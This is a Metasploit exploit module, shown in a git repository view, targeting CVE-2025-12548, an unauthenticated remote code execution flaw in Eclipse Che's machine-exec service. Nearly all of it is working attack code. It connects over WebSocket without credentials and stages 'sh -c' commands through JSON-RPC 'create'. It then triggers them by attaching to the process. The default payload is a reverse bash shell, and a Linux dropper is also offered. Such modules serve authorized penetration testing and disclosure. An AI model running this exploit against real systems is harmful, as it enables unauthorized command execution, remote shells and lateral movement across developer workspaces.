Files
metasploit-gs/modules/exploits/linux/http/eclipse_che_machine_exec_rce.rb
gregd 1f55aa724a Apply reviewer feedback: CheckCode::Appears, ARTIFACTS_ON_DISK, simplify connect
- Use CheckCode::Appears instead of CheckCode::Vulnerable per convention
  - Add ARTIFACTS_ON_DISK to SideEffects for dropper target
  - Simplify connect call by removing unnecessary uri argument
2026-03-10 13:07:03 +00:00

271 lines
8.4 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Rex::Proto::Http::WebSocket
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Eclipse Che machine-exec Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability
in the Eclipse Che machine-exec service (CVE-2025-12548). The machine-exec
service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer
workspace containers, accepts WebSocket connections without authentication.
An attacker can connect to the machine-exec service and execute arbitrary
commands via JSON-RPC over WebSocket. This allows lateral movement between
workspaces and potential cluster compromise.
The vulnerability affects Red Hat OpenShift DevSpaces environments where
the machine-exec service is network-accessible.
},
'License' => MSF_LICENSE,
'Author' => [
'Richard Leach', # Vulnerability discovery
'Greg Durys <gregdurys.security@proton.me>' # PoC and Metasploit module
],
'References' => [
['CVE', '2025-12548'],
['URL', 'https://access.redhat.com/security/cve/cve-2025-12548'],
['URL', 'https://github.com/eclipse-che/che-machine-exec']
],
'DisclosureDate' => '2025-12-01',
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3333,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to machine-exec service', '/']),
OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations (seconds)', 10])
])
end
# Safely close a WebSocket connection, ignoring any errors
def safe_wsclose(wsock)
wsock&.wsclose
rescue StandardError
nil
end
# Connect to WebSocket and return socket plus any leftover data from HTTP response.
# The machine-exec server sends the hello message immediately after the upgrade,
# which gets absorbed into the HTTP response body during parsing.
def connect_ws_with_leftover(uri)
ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16))
http_client = connect
raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Failed to connect') if http_client.nil?
req = http_client.request_raw({
'uri' => uri,
'headers' => {
'Connection' => 'Upgrade',
'Upgrade' => 'websocket',
'Sec-WebSocket-Version' => '13',
'Sec-WebSocket-Key' => ws_key
}
})
http_client.send_request(req)
res = http_client.read_response(datastore['WS_TIMEOUT'])
unless res&.code == 101
http_client.close
raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res)
end
# WebSocket GUID (see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept)
accept_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'))
unless res.headers['Sec-WebSocket-Accept'] == accept_key
http_client.close
raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res)
end
socket = http_client.conn
socket.extend(Rex::Proto::Http::WebSocket::Interface)
leftover = res.body.to_s
vprint_status("Response body length: #{leftover.length}, body: #{leftover[0..100].inspect}")
# The hello frame may arrive in the HTTP response body or shortly after.
# If absorbed into the body, parse the raw frame bytes to extract the payload.
# Otherwise, read a frame from the socket directly.
if leftover.present?
hello = parse_ws_frame(leftover)
else
frame = begin
::Timeout.timeout(datastore['WS_TIMEOUT']) { socket.get_wsframe }
rescue ::Timeout::Error
nil
end
if frame
frame.unmask! if frame.header.masked == 1
hello = frame.payload_data.to_s
end
end
[socket, hello]
end
# Parse a WebSocket frame from raw data
def parse_ws_frame(data)
return nil if data.blank?
frame = Rex::Proto::Http::WebSocket::Frame.new
frame.read(data)
frame.unmask! if frame.header.masked == 1
frame.payload_data.to_s
end
def check
begin
wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
return CheckCode::Unknown("WebSocket connection failed: #{e.message}")
end
if hello.blank?
safe_wsclose(wsock)
return CheckCode::Unknown('No hello message received from service')
end
begin
json = JSON.parse(hello)
if json['method'] == 'connected' && json.dig('params', 'tunnel')
safe_wsclose(wsock)
return CheckCode::Appears('machine-exec service accepts unauthenticated connections')
end
rescue JSON::ParserError
nil
end
safe_wsclose(wsock)
CheckCode::Safe('Service did not respond as expected')
end
def exploit
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
print_status('Connecting to machine-exec service...')
begin
wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
end
print_good('Connected to machine-exec service')
if hello.blank?
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, 'No hello message received')
end
vprint_status("Received hello: #{hello}")
print_status('Staging payload via JSON-RPC create method...')
create_request = {
'jsonrpc' => '2.0',
'method' => 'create',
'params' => {
'cmd' => ['sh', '-c', cmd],
'type' => 'process'
},
'id' => 1
}
wsock.put_wstext(create_request.to_json)
frame = begin
::Timeout.timeout(datastore['WS_TIMEOUT']) { wsock.get_wsframe }
rescue ::Timeout::Error
nil
end
if frame.nil?
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, 'No response to create request')
end
frame.unmask! if frame.header.masked == 1
response_data = frame.payload_data.to_s
begin
response = JSON.parse(response_data)
process_id = response['result']
if process_id.nil?
error_msg = response.dig('error', 'message') || 'Unknown error'
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, "Failed to stage command: #{error_msg}")
end
print_good("Command staged with process ID: #{process_id}")
rescue JSON::ParserError
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
end
safe_wsclose(wsock)
print_status("Triggering execution via /attach/#{process_id}...")
begin
wsock_attach = connect_ws({
'uri' => normalize_uri(target_uri.path, 'attach', process_id.to_s)
})
print_good('Payload triggered!')
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Failure::UnexpectedReply, "Failed to trigger execution: #{e.message}")
end
safe_wsclose(wsock_attach)
end
end